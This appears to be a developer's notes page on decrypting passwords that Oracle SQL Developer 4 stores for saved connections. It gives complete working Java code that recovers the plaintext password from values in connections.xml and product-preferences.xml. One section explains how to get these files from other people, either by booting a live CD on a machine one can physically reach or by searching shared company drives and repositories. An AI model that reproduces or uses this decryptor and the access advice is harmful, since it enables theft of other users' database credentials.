Search notes:

Oracle SQL Developer password decryptor

Oracle SQL Developer allows a user to associate passwords with connections so that the user doesn't have to enter the password each time he opens a connection.
Of course, these passwords need to be stored somewhere. SQL developer stores them in an encrypted form, but it is possible to decrypt them.
In case of SQL developer version 4, two files are needed to find the information to encrypt these passwords. On Windows, these are (%APPDATA% typically has a value of c:\user\username\AppData\Roaming)
In connections.xml, one piece of the needed information is found in the Contents tag:
<StringRefAddr addrType="password">
   <Contents>F35q3vdbVrI=</Contents>
</StringRefAddr>
In product-preferences.xml the other pieced of the needed information is found in the following tag:
<value n="db.system.id" v="3e8efb59-8a5a-4c13-b1d5-ff64f987787f"/>
With these two values and the following Java program, you're now able to decrypt the password:
java Decrypt_V4 F35q3vdbVrI= 3e8efb59-8a5a-4c13-b1d5-ff64f987787f

Finding connections.xml and product-preferences.xml

As the two required files are found under %appdata%, they are typically unaccessible for other users.
However, there are at least two ways to access such files.

1. Using a Linux live CD

If you have physical access to the PC or laptop that has the connections.xml and product-preferences.xml and its harddisk is not encrypted, you can mount the PC harddisk with a Linux live CD (such as Knoppix) and copy the necessary information

2. Using dir /s /b on the company drive

In many (big) companies, there is sometimes one or more »company drives« that all sorts of people and divisions or departments can store temporary files. Sometimes, database users backup their conections.xml and product-preferences.xml on such drives.
Luckily, in recent years, security awarness has risen so that such company drives have become rarer.
Assuming this »company drive« is X:, then the wanted files can be found in a cmd.exe prompt with
cd /d X:
dir /s /b connections.xml product-preferences.xml
Possibly, such files can also be found in Git or subversion repositories etc.

Source code (java)

// vi: ft=java
//
// V.2

import java.security.MessageDigest;
import java.security.GeneralSecurityException;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

import javax.xml.bind.DatatypeConverter;

//     Requires Java 8:
import java.util.Base64;


public class Decrypt_V4 {

  private static byte[] des_cbc_decrypt(
       byte[] encrypted_password,
       byte[] decryption_key,
       byte[] iv)
  throws GeneralSecurityException
  {

    Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
    cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(decryption_key, "DES"), new IvParameterSpec(iv));
    return cipher.doFinal(encrypted_password);
  }

  private static byte[] decrypt_v4(
      byte[] encrypted,
      byte[] db_system_id)
  throws GeneralSecurityException
  {

    byte[] encrypted_password = Base64.getDecoder().decode(encrypted);
    byte[] salt = DatatypeConverter.parseHexBinary("051399429372e8ad");

 // key = db_system_id + salt
    byte[] key = new byte[db_system_id.length + salt.length];

    if (verbose) {
      print_byte_array("encrypted_password", encrypted_password);
      print_byte_array("salt              ", salt              );
      print_byte_array("key               ", key               );
    }


    System.arraycopy(db_system_id, 0, key, 0, db_system_id.length);
    System.arraycopy(salt, 0, key, db_system_id.length, salt.length);


    java.security.MessageDigest md = java.security.MessageDigest.getInstance("MD5");
    for (int i=0; i<42; i++) {
      key = md.digest(key);
    }

    if (verbose) {
      print_byte_array("key (MD5'd)       ", key               );
    }

 // secret_key = key [0..7]
    byte[] secret_key = new byte[8];
    System.arraycopy(key, 0, secret_key, 0, 8);

 // iv = key [8..]
    byte[] iv = new byte[key.length - 8];
    System.arraycopy(key, 8, iv, 0, key.length - 8);

    return des_cbc_decrypt(encrypted_password, secret_key, iv);
  }


  public static void main(String[] argv) { try {

    if (argv.length < 2) {
       System.out.println("arguments: [-v]  encrypted  db.system.id");
       return;
    }

    int pos_encrypted;
    int pos_db_system_id;

    if (argv[0].equals("-v")) {

      if (argv.length < 3) {
        System.out.println("arguments: [-v]  encrypted  db.system.id");
        return;
      }
      verbose = true;
      pos_encrypted    = 1;
      pos_db_system_id = 2;
      System.out.println("verbose flag was set");
    }
    else {
      pos_encrypted    = 0;
      pos_db_system_id = 1;
    }

    byte[] encrypted    = argv[pos_encrypted   ].getBytes();
    byte[] db_system_id = argv[pos_db_system_id].getBytes();


    byte[] x = decrypt_v4(encrypted, db_system_id);

    String password = new String(x);

    System.out.println(password);

    }
    catch (Exception e) {
      System.out.println(e.toString());
    }
  }

  private static boolean verbose = false;

  private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();

  private static void print_byte_array(String what, byte[] array) {

    System.out.print(what);
    System.out.print(": ");

    char[] hex = new char[2];
    for (int i = 0; i < array.length; i++) {

      int v = array[i] & 0xFF;

      if (i > 0) {
         System.out.print(",");
      }
      hex[0] = HEX_ARRAY[v >>> 4];
      hex[1] = HEX_ARRAY[v & 0x0F];
      System.out.print(hex);
    }
    System.out.println();
  }
}
Github repository Oracle-SQL-developer-password-decryptor, path: /Decrypt_V4.java

History

V.2 Add -v (verbose) option

Links

Ideas and knowhow were taken from https://gist.github.com/ajokela/1846191 and https://github.com/maaaaz/sqldeveloperpassworddecryptor
Source files on github

Index